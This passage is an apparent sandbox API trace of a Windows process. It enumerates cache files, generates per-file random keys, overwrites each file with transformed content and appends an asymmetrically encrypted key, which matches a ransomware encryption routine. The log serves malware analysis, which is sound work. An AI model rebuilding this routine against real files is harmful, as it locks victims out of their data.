lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9bcf4a12, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9bcf4a12, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x453492ab, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{CC7998BC-2891-44C5-8EC4-A45AC15BC944}", cAlternateFileName="{CC799~1")) returned 1 [0180.274] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a0f0f3a, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9a0f0f3a, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x4523e3ac, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{CCFCB7FC-2028-4A4A-ABF5-E54B32C6B79B}", cAlternateFileName="{CCFCB~1")) returned 1 [0180.274] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c0d4747, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9c0d4747, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x4523e3ac, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{CD020AAD-9574-4AF9-8BE0-5DEEEA418F08}", cAlternateFileName="{CD020~1")) returned 1 [0180.274] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a294928, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9a294928, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x4523e3ac, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{CEB91A43-1CEE-4EEE-98B6-9A4C011B37FA}", cAlternateFileName="{CEB91~1")) returned 1 [0180.274] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c67e0c0, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9c67e0c0, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x453492ab, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{CF026799-E48E-4C9C-A4C5-90F40E61A8B9}", cAlternateFileName="{CF026~1")) returned 1 [0180.275] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c6ca578, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9c6ca578, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x453492ab, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{D1B85B9A-7DA9-4BFB-81AE-9FA53F5CF8F6}", cAlternateFileName="{D1B85~1")) returned 1 [0180.275] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c0fa9a0, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9c0fa9a0, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x4523e3ac, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{D2653F73-A5FA-4D15-B21C-E630C96E25AA}", cAlternateFileName="{D2653~1")) returned 1 [0180.275] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x163fa478, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x163fa478, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4523e3ac, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{D750F1B1-B0B7-4DA6-A9C0-1ABD8854F051}", cAlternateFileName="{D750F~1")) returned 1 [0180.275] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c146ede, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9c146ede, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x4523e3ac, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{D7B78AAA-A1E8-4680-A688-037B9A274D5A}", cAlternateFileName="{D7B78~1")) returned 1 [0180.275] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c73cc7d, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9c73cc7d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x4523e3ac, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{DC3F0DD8-0793-4FBB-8E32-717EB37783E0}", cAlternateFileName="{DC3F0~1")) returned 1 [0180.275] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38231567, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x38231567, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4523e3ac, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{E0AD878D-B374-40FC-B27F-1EA6CD8C752F}", cAlternateFileName="{E0AD8~1")) returned 1 [0180.275] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c762ee8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9c762ee8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x453492ab, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{E35E895E-B105-44CC-9B2B-8D9A698783C6}", cAlternateFileName="{E35E8~1")) returned 1 [0180.275] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38231567, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x38231567, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4523e3ac, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{E76B536A-24BE-46E2-8644-8BD44952F288}", cAlternateFileName="{E76B5~1")) returned 1 [0180.275] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c821aae, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9c821aae, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x454541d3, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{F034B648-27F3-4DB0-A1E2-76AEDA4DB720}", cAlternateFileName="{F034B~1")) returned 1 [0180.275] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c847cee, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9c847cee, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x454541d3, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{F6932121-D2DA-4225-88E3-261818BB07E2}", cAlternateFileName="{F6932~1")) returned 1 [0180.275] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c9068dc, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9c9068dc, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x4558b17d, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{F7D10E06-7C0F-411C-8ED2-8C19184C6238}", cAlternateFileName="{F7D10~1")) returned 1 [0180.275] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a1afaf4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9a1afaf4, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x453492ab, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{FC8C8E15-37CE-4712-91B1-473246FA9BC6}", cAlternateFileName="{FC8C8~1")) returned 1 [0180.275] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1adee73, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xa1adee73, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x454541d3, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{FD71169F-D6C7-4087-AFF7-A180276CA9FF}", cAlternateFileName="{FD711~1")) returned 1 [0180.275] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c8941cb, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9c8941cb, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x454541d3, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{FE9E45E3-96FD-468B-B1CE-3961D08AD216}", cAlternateFileName="{FE9E4~1")) returned 1 [0180.275] FindNextFileW (in: hFindFile=0x2f73570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c8941cb, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9c8941cb, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x454541d3, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="{FE9E45E3-96FD-468B-B1CE-3961D08AD216}", cAlternateFileName="{FE9E4~1")) returned 0 [0180.275] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x30dc2f0 [0180.275] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c39d8 [0180.275] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34c8 [0180.276] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0180.276] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0180.276] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{FE9E45E3-96FD-468B-B1CE-3961D08AD216}", dwFileAttributes=0x80) returned 1 [0180.277] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x30dc418 [0180.277] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ae) returned 0x56c6b8 [0180.277] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{FE9E45E3-96FD-468B-B1CE-3961D08AD216}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{fe9e45e3-96fd-468b-b1ce-3961d08ad216}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.277] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.277] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30dd050 [0180.277] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30de0f0 [0180.277] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.281] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.282] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.282] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.282] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.282] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.282] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.282] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.282] CloseHandle (hObject=0x1af4) returned 1 [0180.284] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0180.284] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0180.284] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{FD71169F-D6C7-4087-AFF7-A180276CA9FF}", dwFileAttributes=0x80) returned 1 [0180.284] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x30dc418 [0180.284] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ae) returned 0x56c6b8 [0180.284] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{FD71169F-D6C7-4087-AFF7-A180276CA9FF}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{fd71169f-d6c7-4087-aff7-a180276ca9ff}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.285] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.285] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30dd050 [0180.285] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30de0f0 [0180.285] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.303] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.303] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.303] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.303] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.303] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.304] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.304] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.304] CloseHandle (hObject=0x1af4) returned 1 [0180.305] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0180.305] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0180.305] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{FC8C8E15-37CE-4712-91B1-473246FA9BC6}", dwFileAttributes=0x80) returned 1 [0180.314] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x30dbc00 [0180.314] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ae) returned 0x56c6b8 [0180.314] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{FC8C8E15-37CE-4712-91B1-473246FA9BC6}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{fc8c8e15-37ce-4712-91b1-473246fa9bc6}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.314] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.314] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30dd050 [0180.314] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30de0f0 [0180.315] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.316] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.316] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.316] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.316] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.316] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.316] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.317] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.317] CloseHandle (hObject=0x1af4) returned 1 [0180.318] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0180.318] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0180.318] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{F7D10E06-7C0F-411C-8ED2-8C19184C6238}", dwFileAttributes=0x80) returned 1 [0180.319] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x30dc2f0 [0180.319] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ae) returned 0x56c6b8 [0180.319] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{F7D10E06-7C0F-411C-8ED2-8C19184C6238}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{f7d10e06-7c0f-411c-8ed2-8c19184c6238}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.319] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.319] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30dd050 [0180.319] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30de0f0 [0180.319] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.321] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.321] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.321] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.321] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.321] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 